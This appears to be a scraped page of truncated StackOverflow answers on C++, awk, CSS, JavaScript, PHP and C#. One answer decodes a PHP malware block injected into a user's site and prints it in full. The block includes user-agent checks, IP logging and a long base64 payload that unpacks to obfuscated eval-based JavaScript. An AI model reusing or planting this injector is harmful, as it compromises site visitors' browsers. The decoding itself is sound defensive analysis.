An operator is a function which can be represented with a special syntax. So the following, if defined on a class MyClass: T MyClass::operator% (int k); can be called as follows: MyClass a; int k = 1; T answer = a % k; The other operator: T MyClass::operator[] (int k); Can be called by: T … Read more
I’m assuming the input is always two columns, the first column contains the column headers of the output repeated over and over, and that the output may contain one or more columns. $ cat t.awk { sep = (FNR % n == 0) ? “\n” : ” ” } NR==FNR { printf $1 sep; if … Read more
This question doesn’t really conform to StackOverflow question format (since its opinion based), but I will answer it anyway. From my personal experience windows developers mainly use .NET languages (ASP.NET, C#, Visual Basic) although Windows 10 has support for these to use the full potential of Windows 10 you would use C++. Microsoft Visual Studio … Read more
you can use a trick like this set the background to the :after .one:after { background: url(‘http://carwallstar.com/wp-content/uploads/2014/11/ford-car-images2015-ford-mustang–2015-ford-mustang-29—–froggpondcom-w8lqchv6.jpg’) 100% 100% no-repeat; background-size: cover; content: “”; opacity: 0.5; top: 0; left: 0; bottom: 0; right: 0; position: absolute; z-index: -1; } source: https://css-tricks.com/snippets/css/transparent-background-images/ 1 solved Changing background opacity with jQuery [duplicate]
Three loops for each array. Just loop through every array, and append to new array. var size = [‘s’,’m’]; var color = [‘red’,’blue’,’black’]; var material = [‘cotton’,’linen’]; var arrayMaterials = [] for (var i = 0; i < size.length; i++) { for (var j = 0; j < color.length; j++) { for (var k = … Read more
You need npm as a packagemanager. Npm is installed through the nodejs installation. So you need nodejs yes. Install angular-cli through npm. The cli will help you to create the project. solved Angular 4 Environment Setup
You appear to have an html (php) block injected into your page. Possibly the result of XSS? First stage decode reveals: $ip=$_SERVER[“REMOTE_ADDR”];$dr=$_SERVER[“DOCUMENT_ROOT”];$ua = $_SERVER[‘HTTP_USER_AGENT’];$dbf=$dr.”https://stackoverflow.com/”.md5($dr.’1′); if((strpos($ua,’Windows’)!==false)&&((strpos($ua,’MSIE’)!==false)||(strpos($ua,’Firefox’)!==false))&&(strpos(@file_get_contents($dbf),$ip) === false)){ error_reporting(0); echo(base64_decode(‘PHNjcmlwdD50cnl7YWJyZSsrfWNhdGNoKGE2YmEzNHkpe3RyeXtwcm90b3R5cGUmMn1jYXRjaChhc2FiKXtlPXdpbmRvd1siZSIrInYiKyJhbCJdO319IGlmKDEpe2Y9Wy00LC01LDkwLDg5LDE4LDI1LDg3LDk3LDg0LDEwNCw5NSw4Niw5NywxMDIsMzEsOTAsODcsMTAxLDU2LDk0LDg2LDk2LDg3LDk1LDEwMywxMDEsNTEsMTA4LDcwLDgyLDkwLDY0LDgyLDk2LDg3LDI1LDI2LDg0LDk2LDg3LDEwNywyNCwyOCw3NywzMyw4MCwyNywxMDgsMCwtNSwtNiwtNCw5MSw4NywxMDEsODMsOTQsODgsMTAwLDI1LDI4LDQ1LC0yLC00LC01LDExMCwxOSw4Nyw5MywxMDIsODcsMTcsMTEwLC0xLC02LC00LC01LDg1LDk4LDg1LDEwMiw5Niw4Nyw5NSwxMDMsMzIsMTA0LDEwMSw5MSwxMDEsODgsMjYsMTksNDcsOTEsODcsMTAxLDgzLDk0LDg4LDE4LDEwMCwxMDEsODUsNDYsMjYsOTAsMTAxLDEwMyw5OCw0MywzNCwzMywxMDIsOTIsMTA3LDEwNyw5NCw5Miw5OSwzMyw4NywxMDcsMTA0LDgzLDMxLDg2LDk3LDk0LDM0LDEwNCw4NCwzMyw5OCw4OSw5OSw0OSw4OCw5OCw0NywzNSwyNiwxOCwxMDQsOTIsODYsMTAxLDkxLDQ3LDI0LDM2LDM0LDI0LDE5LDkwLDg2LDkyLDg5LDg5LDEwMyw0NywyNCwzNiwzNCwyNCwxOSwxMDEsMTAxLDEwOCw5NCw4Niw0OCwyNSwxMDMsOTIsMTAxLDkwLDg1LDkxLDkzLDkyLDEwMiwxMDYsNDUsOTAsOTAsODcsODYsODYsOTcsNDUsOTcsOTgsMTAxLDkwLDEwMyw5MSw5Niw5Nyw0NCw4Miw4NSwxMDEsOTYsOTUsMTAzLDEwMSw4OCw0NSw5Myw4OCw4OCwxMDEsNDUsMzQsNDQsMTAzLDk3LDk3LDQ1LDM0LDQ0LDI2LDQ4LDQ1LDM0LDkxLDg3LDEwMSw4Myw5NCw4OCw0OCwxOSwyOCw0NSwtMiwtNCwtNSwxMTAsMCwtNSwtNiw4OSwxMDMsOTUsODYsMTAyLDkwLDk4LDk2LDE3LDkyLDg4LDk5LDg0LDk1LDg2LDEwMSwyNiwyNiwxMTAsLTEsLTYsLTQsLTUsMTAzLDg0LDEwMCwxNyw4OSwxOCw0NiwxOSw4Niw5Niw4NiwxMDMsOTQsODgsOTYsMTAxLDMzLDg1LDk5LDg4LDgzLDEwMSw4OCw1NSw5Myw4OCw5NSw4Niw5NywxMDIsMjUsMjYsOTEsODcsMTAxLDgzLDk0LDg4LDI1LDI2LDQ2LDg4LDMxLDEwMiw4NywxMDEsNTIsMTAyLDEwMSwxMDEsOTEsODMsMTA0LDEwMiw4NiwyNywyNSwxMDAsMTAxLDg1LDI0LDMxLDI1LDg5LDEwMywxMDIsOTcsNDUsMzMsMzIsMTA0LDkxLDEwNiwxMDksOTMsOTEsMTAxLDMyLDg2LDEwOSwxMDMsODIsMzMsODUsOTYsOTYsMzMsMTAzLDg2LDMyLDk3LDkxLDk4LDQ4LDkwLDk3LDQ2LDM3LDI1LDI2LDQ2LDg4LDMxLDEwMiwxMDIsMTA2LDk1LDg3LDMxLDEwNSw5MSwxMDAsOTIsODQsOTAsOTUsOTEsMTAxLDEwOCw0NywyNCw5MSw5MSw4NSw4Nyw4Nyw5NSwyNiw0NSw4NywzMywxMDEsMTAxLDEwOCw5NCw4NiwzMyw5OCw5NiwxMDIsOTEsMTAxLDkyLDk3LDk1LDQ4LDI1LDgyLDg1LDEwMSw5Niw5NSwxMDMsMTAxLDg4LDI1LDQ0LDg5LDMyLDEwMCwxMDMsMTA3LDkzLDg4LDMyLDkzLDg4LDg4LDEwMSw0OCwyNSwzMywyNiw0NSw4NywzMywxMDEsMTAxLDEwOCw5NCw4NiwzMywxMDIsOTYsOTksNDcsMjQsMzUsMjUsNDQsODksMzIsMTAwLDg4LDEwMiw1MCwxMDMsMTAyLDk5LDkyLDg0LDEwMiwxMDMsODcsMjUsMjYsMTA1LDkwLDg3LDEwMiw4OSwyNiwzMCwyNCwzNiwzNCwyNCwyOCw0NSw4NywzMywxMDEsODYsMTAzLDUxLDEwMSwxMDMsMTAwLDkwLDg1LDEwMywxMDEsODgsMjYsMjQsOTEsODcsOTAsOTAsOTAsMTAxLDI2LDMwLDI0LDM2LDM0LDI0LDI4LDQ1LC0yLC00LC01LC02LDg3LDk3LDg0LDEwNCw5NSw4Niw5NywxMDIsMzEsOTAsODcsMTAxLDU2LDk0LDg2LDk2LDg3LDk1LDEwMywxMDEsNTEsMTA4LDcwLDgyLDkwLDY0LDgyLDk2LDg3LDI1LDI2LDg0LDk2LDg3LDEwNywyNCwyOCw3NywzMyw4MCwzMiw4Miw5OSw5OCw4Niw5Nyw4Niw1Miw5MSw5MSw5Myw4NywyNiw4NywyOCw0NSwtMiwtNCwtNSwxMTBdO313PWY7cz1bXTtyPVN0cmluZzt4PSJqJSI7Zm9yKGk9MDstaSs1NzkhPTA7aSs9MSl7aj1pO2lmKGUmJigwMzE9PTB4MTkpKXM9cytyLmZyb21DaGFyQ29kZSgoMSp3W2pdK2UoeCszKSsxMykpO30gdHJ5e2FzZ2FzZyYxM31jYXRjaChhc2dhKXtlKHMpO308L3NjcmlwdD4=’)); if ($fp = @fopen($dbf , “a”)){fputs($fp , $ip.’|’); fclose($fp);} } Second Stage Decoding Reveals: try { abre++ } catch (a6ba34y) { try { prototype & 2 … Read more
You can use a Literal control and set it to PassThrough mode. This is the easiest way for the hr tag Literal myTag = new Literal {Mode = LiteralMode.PassThrough, Text = “<hr/>”}; You can find more information here If you are creating an h1 tag then you should use this HtmlContainerControl myTag = (HtmlContainerControl)new HtmlGenericControl(“h1”); … Read more
Neater, more linq: var data = GetData(); foreach (var v0 in data) { if (v0.Key.Item3 != string.Empty) continue; //Get all related data var tr_line = data[v0.Key]; sb.AppendLine(tr_line.First()); var hhLines = from v1 in data where v1.Key.Item2 == string.Empty && v1.Key.Item1 == v0.Key.Item1 select data[v1.Key]; foreach (var hh_line in hhLines) { sb.AppendLine(hh_line.First()); var grouping = v0; … Read more
if($_POST[‘user_id’] = ”) means: $_POST[‘user_id’] becomes ” .. if (”) // always false if($_POST[‘user_id’] == ”) means: $_POST[‘user_id’] compares to ” .. if ( comparison) solved PHP not showing error when I put only single = in if condition
You will have to draw every line and circle through your code,there won’t be a shortcut for that. Though, I would suggest using other graphics libraries like OpenGL. In other languages certain IDEs have features wherein you don’t have to write a code but you can manually design your graphics on a editor window and … Read more
private int i = 0;// Declare i as private ….. TextView tv = (TextView)findViewById(R.id.tv01); Btn.setOnClickListener(new OnClickListener() { public void onClick(View v) { i = i+10; tv.setText( String.valueOf(i)); } }); 0 solved Add a number to a textView using button onClick()
jQuery, or javascript in general, can’t really connect directly to a database like you are describing. If you have an endpoint to hit, then jQuery (or vanilla javascript, really) could just fire a request to that endpoint with the specific data: $(‘input:file’).on(‘change’, function(event) { $.ajax({ url: ‘/path/to/endpoint’, type: ‘post’, data: { filename: $(this).val() } }); … Read more
At least immediately, I notice you are missing the end: create procedure new_SP ( @tablename varchar(50) ) as begin declare @xxx varchar(50) set @xxx= ‘create table ‘+@tablename+'( name varchar (50))’ print @xxx exec (@xxx) end — you are missing this If you add the END, then this should work. Just tested it in SQL Server … Read more
The only thing missing is initialization of the property – it is null otherwise (meaning that calling Add on it will throw a NullReferenceException). DatabaseLogger.ILogger logger = new DatabaseLogger.Logger(); logger.customProperties = new Dictionary<string, string>(); logger.customProperties.Add(“companyName”, “Company”); logger.customProperties.Add(“application”, “application”); Though this might be better done in the Logger constructor: public Logger() { customProperties = new Dictionary<string, … Read more